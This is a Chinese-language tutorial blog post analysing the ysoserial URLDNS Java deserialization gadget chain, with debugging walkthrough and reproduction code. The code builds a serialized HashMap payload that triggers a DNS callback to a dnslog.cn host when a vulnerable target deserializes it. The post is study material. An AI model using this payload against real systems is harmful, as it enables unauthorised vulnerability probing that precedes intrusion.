雄关漫道真如铁 而今迈步从头越

0x01 前言

URLDNS 是 ysoserial 中利用链的一个 payload,该 payload 的目的只有一个,就是确定目标系统上是否存在可控的 readObject() 方法,即是否存在Java 反序列化漏洞。该利用链具有如下特点:

  • 不限制jdk版本,使用 Java 内置的 URL 类,不依赖于任何的第三方库
  • 只对指定的 URL 发送 DNS 查询,不做其他操作
  • 在⽬目标没有回显的时候,能够通过DNS请求得知是否存在反序列列化漏洞

0x02 原理

java.util.HashMap 实现了Serializable 接口,重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URLhashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求。

我们从 ysoserial 项目src/main/java/ysoserial/payloads/URLDNS.java 的注释中可以看到 URLDNS的调用链(Gadget Chain):

Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

2.1 HashMap

HashMap: java中的一种容器,用来存储内容,内容以键值对的形式存放。

image-20210602184510047

先来看看 HashMap 自己实现的 readObject() 函数

image-20210602173545433

这里通过一个 for 循环将 HashMap 中存储的key通过 K key = (K) s.readObject(); 反序列化后,调用 putValhash函数,也就是前面提到的Gadget Chain中的中间两个调用链,再来看看,hash这个函数的实现

image-20210602173740650

调用了参数 key 的 hashCode 函数,而我们从src/main/java/ysoserial/payloads/URLDNS.java中可以得知这个key就是一个URL对象。

image-20210602175239536

接下来再看看 java 的基本类 URL 中关于 HashCode 的实现

2.2 hashCode

我们来自己调用 URL 的 hashCode 函数来看看效果

1
2
3
4
5
6
7
8
public class UrlDNSTest {

public static void main(String[] args) throws Exception {
URL url = new URL("http://wursz7.dnslog.cn");
url.hashCode();
}

}

image-20210602174600694

可以得知hashCode触发了一次DNS请求,使用 Ctrl+右键 点进去看看该函数的具体实现

image-20210602172051929

这里注意一下 handler 是一个 transient 关键字修饰的变量,不参与序列化。

image-20210603225458176

经过Debug跟踪发现会在 HashMap#readObject 的 K key = (K) s.readObject(); 这行进入URL#readObject 的getURLStreamHandler 函数进行 handler 的赋值image-20210604080533266

image-20210604080636339

hashCode 的默认值为-1, 然后接下来进入 hashCode = handler.hashCode(this);, 可以看到调用了getHostAddress函数,这个函数就是用来 DNS 解析,返回对应 IP 的。

URL 类将在比较时,如果两个主机名都可以解析为相同的 IP 地址,则认为两个主机是等效的;

image-20210602172427092

2.3 put 触发

ysoserial这里明确说了 put 函数来触发,通过使用 URL 对象来作为 key 就可以触发一次DNS请求。

image-20210602175512074

动手实验一下

1
2
3
4
5
6
7
8
9
public class UrlDNSTest {

public static void main(String[] args) throws Exception {

HashMap map = new HashMap();
URL url = new URL("http://r6gyvj.dnslog.cn");
map.put(url, "yhy");
}
}

image-20210602175733191

而put为什么会触发,看下put函数的实现

image-20210603080617979

image-20210603082700138

也是调用了hash(key) –> key.hashCode() 跟之前一样,所以会在put进一个key为URL对象时,会进行一次DNS解析。

2.4 反序列化

到了这里有什么用呢?迷了,明明是put时会进行一次DNS解析,看上去并没有和反序列化有什么关联。接下来该干嘛,网上其他文章直接结论了,而像我这种菜鸡,到这一步,完全没搞懂之后应该干啥,怎么把前面说的给串联起来。

在看鸿蒙发布会时,终于想明白了,现在我们知道当 HashMap 传入一个URL对象时,会进行一次DNS解析,并且HashMap 实现了Serializable 接口,重写了 readObject,也就是说当一个Java应用存在反序列化漏洞时,我们可以通过传入一个序列化后的HashMap数据(将URL对象作为key放入HashMap),当我们传入的数据到达该Java应用的反序列化漏洞点时,这时程序就会调用 HashMap 重写的readObject 函数来反序列化读取数据,也就是上述分析过程,然后就会触发 key.hashCode() 函数,进行一次DNS解析。

2.5 至善至美

到上面已经可以作为漏洞探测了,但是 ysoserial 项目中有其他代码,我们可以看看具体是什么情况

image-20210603214336126

这里通过继承 URLStreamHandler 类,重写了openConnectiongetHostAddress 函数,然后

将handler在创建URL时传入,其实这个传入的handler就是hashCode函数中的handler

image-20210602172051929

前面提到过,HashMap#put 时也会调用 getHostAddress 函数进行一次DNS解析,这里就是通过重写的 getHostAddress 函数覆盖掉原来的函数,不进行DNS解析,防止在payload创建期间进行DNS解析,也就是一个防干扰功能。

接下来看看 **Reflections.setFieldValue(u, “hashCode”, -1); 这一行代码。Reflections类是 ysoserial 写的一个反射类src/main/java/ysoserial/payloads/util/Reflections.java,这是 setFieldValue函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

之前在前置知识 初探Java反序列化漏洞(二)中讲到过反射, 上述代码就是通过反射来设置 URL 类的 hashCode的值为-1,这是因为在 HashMap#put 时,已经调用过一次hashCode() 函数,这时 hashCode的值就会改变,不再为-1,让其进行下一步执行DNS解析。

image-20210602211410050

image-20210602211523937

那也就是说在下一步经过HashMap的readObject函数反序列化时, 因为此时 hashCode != -1 ,会直接返回hashCode的值,不再进行调用 handler.hashCode(this) 。因此使用 Reflections.setFieldValue(u, "hashCode", -1); 反射将 hashCode的值设为 -1

之后通过image-20210604082305067 执行序列化操作

0x03 代码模拟

我们来手动复原一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package ysoserial;

import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;


/**
* @author yhy
* @date 2021/6/2 16:21
* @github https://github.com/yhy0
*/

public class UrlDNSTest {

static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();

// 设置 put 时不发起 dns 解析
URLStreamHandler handler = new UrlDNSTest.SilentURLStreamHandler();
URL url = new URL(null, "http://atysqv.dnslog.cn", handler);

// 通过反射将put之后 hashCode 的 值重新赋值为 -1
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);

hashMap.put(url,"123");
f.set(url,-1);

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);

}

}

通过序列化,发现确实没有在payload生成阶段发起dns解析。image-20210604082455201

接下来我们通过读取out.bin 文件将其反序列化来模拟漏洞点,

1
2
3
4
5
public static void main(String[] args) throws Exception {
// 反序列化读取 out.bin 文件
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}

image-20210604082654765请求成功。

最后回顾一下整个流程:

1. 将URL对象作为key放入hashMap中,将其序列化发送给目标机器
2. 如果目标机器存在反序列化漏洞,那么会执行`HashMap.readObject()` 将数据反序列化
3. 在反序列化期间,为了还原hashmap的内容,会调用 `hash()` 方法,而`hash()`函数会调用传入参数的 `hashCode()`方法
4. 当URL 对象的 `hashCode`属性值为 `-1` 时会调用 `handler.hashCode()`方法,而这个方法会进行一次DNS查询。

0x04 参考

https://www.gettoby.com/p/hk4t4bb9qttz